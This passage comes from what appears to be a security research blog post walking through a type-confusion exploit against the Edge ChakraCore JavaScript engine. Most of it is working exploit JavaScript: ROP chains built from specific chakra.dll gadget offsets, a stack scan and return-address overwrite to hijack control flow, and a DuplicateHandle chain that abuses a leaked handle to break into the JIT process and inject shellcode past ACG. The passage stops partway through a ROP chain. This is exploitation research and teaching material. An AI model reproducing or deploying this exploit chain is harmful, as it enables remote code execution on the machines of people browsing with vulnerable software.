    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x61700</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span>  <span class="c1">// KERNELBASE!VirtualProtect</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualProtect)</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x118b9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x1800118b9: add rsp, 0x18 ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x4c1b65</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x1804c1b65: pop rdi ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>

    <span class="c1">// Store the current offset within the .data section into a var</span>
    <span class="nx">ropoffsetTwo</span> <span class="o">=</span> <span class="nx">countMe</span><span class="p">;</span>

    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// Will be updated with the VirtualAllocEx allocation (our shellcode)</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1ef039</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x1801ef039: push rdi ; ret (Return into our shellcode)</span>
    <span class="nx">inc</span><span class="p">();</span>

    <span class="c1">// We can reliably traverse the stack 0x6000 bytes</span>
    <span class="c1">// Scan the stack for the return address below</span>
    <span class="cm">/*
    0:020&gt; u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction&lt;1&gt;+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */</span>

    <span class="c1">// Creating an array to store the return address because read64() returns an array of 2 32-bit values</span>
    <span class="kd">var</span> <span class="nx">returnAddress</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x4</span><span class="p">);</span>
    <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraLo</span> <span class="o">+</span> <span class="mh">0xd4a73</span><span class="p">;</span>
    <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraHigh</span><span class="p">;</span>

	<span class="c1">// Counter variable</span>
	<span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mh">0x6000</span><span class="p">;</span>

	<span class="c1">// Loop</span>
	<span class="k">while</span> <span class="p">(</span><span class="nx">counter</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
	<span class="p">{</span>
	    <span class="c1">// Store the contents of the stack</span>
	    <span class="nx">tempContents</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

	    <span class="c1">// Did we find our target return address?</span>
        <span class="k">if</span> <span class="p">((</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
        <span class="p">{</span>
			<span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Found our return address on the stack!</span><span class="dl">"</span><span class="p">);</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Target stack address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">));</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

            <span class="c1">// Break the loop</span>
            <span class="k">break</span><span class="p">;</span>

        <span class="p">}</span>
        <span class="k">else</span>
        <span class="p">{</span>
        	<span class="c1">// Decrement the counter</span>
	    	<span class="c1">// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit</span>
	    	<span class="nx">counter</span> <span class="o">-=</span> <span class="mh">0x8</span><span class="p">;</span>
        <span class="p">}</span>
	<span class="p">}</span>

	<span class="c1">// alert() for debugging</span>
	<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

	<span class="c1">// Corrupt the return address to control RIP with 0x4141414141414141</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>Before I explain the reasoning behind the ROP chain, let me say just two things:</p>
<ol>
  <li>Notice that we incremented <code class="language-plaintext highlighter-rouge">countMe</code> by <code class="language-plaintext highlighter-rouge">0x50</code> bytes after we wrote our shellcode. This is to ensure that our ROP chain and shellcode don’t collide and we have a noticeable gap between them, so we can differentiate where the shellcode stops and the ROP chain begins</li>
  <li>You can generate ROP gadgets for <code class="language-plaintext highlighter-rouge">chakra.dll</code> with the <code class="language-plaintext highlighter-rouge">rp++</code> utility leveraged in the first blog post. Here is the command: <code class="language-plaintext highlighter-rouge">rp-win-x64.exe -f C:\Windows\system32\chakra.dll -r 5 &gt; C:\PATH\WHERE\YOU\WANT\TO\STORE\ROP\GADGETS\FILENAME.txt</code>. Again, this is outlined in <a href="https://connormcgarr.github.io/type-confusion-part-2/">part two</a>. From here you now will have a list of ROP gadgets from <code class="language-plaintext highlighter-rouge">chakra.dll</code>.</li>
</ol>

<p>Now, let’s explain this ROP chain.</p>

<p>This ROP chain will <em>not</em> be executed anytime soon, nor will it be executed within the content process (where the exploit is being detonated). Instead, this ROP chain <em>and</em> our shellcode will be injected into the JIT process (where ACG is disabled). From there we will hijack execution of the JIT process and force it to execute our ROP chain. The ROP chain (when executed) will:</p>

<ol>
  <li>Setup a call to <code class="language-plaintext highlighter-rouge">VirtualProtect</code> and mark our shellcode allocation as RWX</li>
  <li>Jump to our shellcode and execute it</li>
</ol>

<p>Again, this is all done within the JIT process. Another remark on the ROP chain - we can notice a few interesting things, such as the <code class="language-plaintext highlighter-rouge">lpAddress</code> parameter. According to the <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect">documentation</a> of <code class="language-plaintext highlighter-rouge">VirtualProtect</code> this parameter:</p>

<blockquote>
  <p>The address of the starting page of the region of pages whose access protection attributes are to be changed.</p>
</blockquote>

<p>So, based on our exploitation plan, we know that this <code class="language-plaintext highlighter-rouge">lpAddress</code> parameter will be the address of our shellcode allocation, once it is injected into the JIT process. However, the dilemma is the fact that at this point in the exploit we have not injected <em>any</em> shellcode into the JIT process (at the time of our ROP chain and shellcode being stored in the content process). Therefore there is no way to fill this parameter with a correct value at the current moment, as we have yet to call <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> to actually inject the shellcode into the JIT process. Because of this, we setup our ROP chain as follows:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(...)</span><span class="nx">truncated</span><span class="p">(...)</span>

<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)</span>
<span class="nx">inc</span><span class="p">();</span>
</code></pre></div></div>

<p>According to the <code class="language-plaintext highlighter-rouge">__fastcall</code> calling convention, the <code class="language-plaintext highlighter-rouge">lpAddress</code> parameter needs to be stored in the RCX register. However, we can see our ROP chain, as it currently stands, will only <code class="language-plaintext highlighter-rouge">pop</code> the value of <code class="language-plaintext highlighter-rouge">0</code> into RCX. We know, however, that we need the address of our shellcode to be placed here. Let me explain how we will reconcile this (we will step through all of this code when the time comes, but for now I just want to make this clear to the reader as to why our final ROP chain is only <em>partially</em> completed at the current moment).</p>

<ol>
  <li>We will use <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> and <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to allocate and write our shellcode into the JIT process with our first few ROP chains of our exploit.</li>
  <li><code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> will return the address of our shellcode within the JIT process</li>
  <li>When <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> returns the address of the remote allocation within the JIT process, we will use a call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to write the <em>actual</em> address of our shellcode in the JIT process (which we now have because we injected it with <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>) into our final ROP chain (which currently is using a “blank placeholder” for <code class="language-plaintext highlighter-rouge">lpAddress</code>).</li>
</ol>

<p>Lastly, we know that our final ROP chain (the one we are storing and updating with the aforesaid steps) not only marks our shellcode as RWX, but it is also responsible for returning into our shellcode. This can be seen in the below snippet of the <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(...)</span><span class="nx">truncated</span><span class="p">(...)</span>

<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x4c1b65</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x1804c1b65: pop rdi ; ret</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// Will be updated with the VirtualAllocEx allocation (our shellcode)</span>
<span class="nx">inc</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1ef039</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x1801ef039: push rdi ; ret (Return into our shellcode)</span>
</code></pre></div></div>

<p>Again, we are currently using a blank “parameter placeholder” in this case, as our <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain doesn’t know where our shellcode was injected into the JIT process (as it hasn’t happened at this point in the exploitation process). We will be updating this eventually. For now, let me summarize briefly what we are doing:</p>

<ol>
  <li>Storing shellcode + <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain with the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">chakra.dll</code> (in the JIT process)</li>
  <li>These items will eventually be injected into the JIT process (where ACG is disabled).</li>
  <li>We will hijack control-flow execution in the JIT process to force it to execute our ROP chain. Our ROP chain will mark our shellcode as RWX and jump to it</li>
  <li>Lastly, our ROP chain is missing some information, as the shellcode hasn’t been injected. This information will be reconciled with our “long” ROP chains that we are about to embark on in the next few sections of this blog post. So, for now, the “final” <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain has some missing information, which we will reconcile on the fly.</li>
</ol>

<p>Lastly, before moving on, let’s see how our shellcode and ROP chain look like after we execute our exploit (as it currently is).</p>

<p><img src="/images/3typeconfusion69.png" alt="" /></p>

<p>After executing the script, we can then (before we close the dialogue) attach WinDbg to the content process and examine <code class="language-plaintext highlighter-rouge">chakra_base + 0x74b000</code> to see if everything was written properly.</p>

<p><img src="/images/3typeconfusion70.png" alt="" /></p>

<p>As we can see, we have successfully stored our shellcode and ROP chain (which will be executed in the future).</p>

<p><img src="/images/3typeconfusion71.png" alt="" /></p>

<p>Let’s now start working on our exploit in order to achieve execution of our final ROP chain and shellcode.</p>

<h2 id="duplicatehandle-rop-chain"><code class="language-plaintext highlighter-rouge">DuplicateHandle</code> ROP Chain</h2>
<p>Before we begin, each ROP gadget I write has an associated comment. My blog will sometimes cut these off when I paste a code snippet, and you might be required to slide the bar under the code snippet to the right to see comments.</p>

<p>We have, as we have seen, already prepared what we are eventually going to execute within the JIT process. However, we still have to figure out <em>how</em> we are going to inject these into the JIT process, and begin code execution. This journey to this goal begins with our overwritten return address, causing control-flow hijacking, to start our ROP chain (just like in part two of this blog series). However, instead of directly executing a ROP chain to call <code class="language-plaintext highlighter-rouge">WinExec</code>, we will be chaining together <em>multiple</em> ROP chains in order to achieve this goal. Everything that happens in our exploit now happens in the content process (for the foreseeable future).</p>

<p>A caveat before we begin. Everything, from here on out, will begin at these lines of our exploit:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Corrupt the return address to control RIP with 0x4141414141414141</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
</code></pre></div></div>

<p>We will start writing our ROP chain where the <code class="language-plaintext highlighter-rouge">Corrupt the return address to control RIP with 0x4141414141414141</code> comment is (just like in part two). Additionally, we are going to truncate (from here on out, until our final code) everything that comes <em>before</em> our <code class="language-plaintext highlighter-rouge">alert()</code> call. This is to save space in this blog post. This is synonymous from what we did in part two. So again, <em>nothing</em> that comes before the <code class="language-plaintext highlighter-rouge">alert()</code> statement will be changed. Let’s begin now.</p>

<p>As previously mentioned, it is possible to obtain a <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle to the JIT server by abusing the <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> handle stored in <code class="language-plaintext highlighter-rouge">s_jitManager</code>. Using our stack control, we know the next goal is to instrument a ROP chain. Although we will be leveraging multiple <em>chained</em> ROP chains, our process begins with a call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> -  in order to retrieve a privileged handle to the JIT server. This will allow us to compromise the JIT server, where ACG is disabled. This call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> will be as follows:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DuplicateHandle</span><span class="p">(</span>
	<span class="n">jitHandle</span><span class="p">,</span>		<span class="c1">// Leaked from s_jitManager+0x8 with PROCESS_DUP_HANDLE permissions</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="n">GetCurrentProcess</span><span class="p">(),</span>	<span class="c1">// Pseudo handle to the current process</span>
	<span class="o">&amp;</span><span class="n">fulljitHandle</span><span class="p">,</span>		<span class="c1">// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server</span>
	<span class="mi">0</span><span class="p">,</span>			<span class="c1">// NULL since we will set dwOptions to DUPLICATE_SAME_ACCESS</span>
	<span class="mi">0</span><span class="p">,</span>			<span class="c1">// FALSE (new handle isn't inherited)</span>
	<span class="n">DUPLICATE_SAME_ACCESS</span>	<span class="c1">// Duplicate handle has same access as source handle (source handle is an all access handle, e.g. a pseudo handle), meaning the duplicated handle will be PROCESS_ALL_ACCESS</span>
<span class="p">);</span>
</code></pre></div></div>

<p>With this in mind, here is how the function call will be setup via ROP:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

<span class="c1">// Helper function to be called after each stack write to increment offset to be written to</span>
<span class="kd">function</span> <span class="nx">next</span><span class="p">()</span>
<span class="p">{</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Begin ROP chain</span>
<span class="c1">// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28</span>
<span class="c1">// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them</span>
<span class="c1">// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us</span>

<span class="c1">// DuplicateHandle() ROP chain</span>
<span class="c1">// Stage 1 -&gt; Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions</span>
<span class="c1">// ACG is disabled in the JIT process</span>
<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299</span>

<span class="c1">// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter</span>

<span class="c1">// HANDLE hSourceHandle (RDX)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Pseudo-handle to current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPHANDLE lpTargetHandle (R9)</span>
<span class="c1">// This needs to be a writable address where the full JIT handle will be stored</span>
<span class="c1">// Using .data section of chakra.dll in a part where there is no data</span>
<span class="cm">/*
0:053&gt; dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
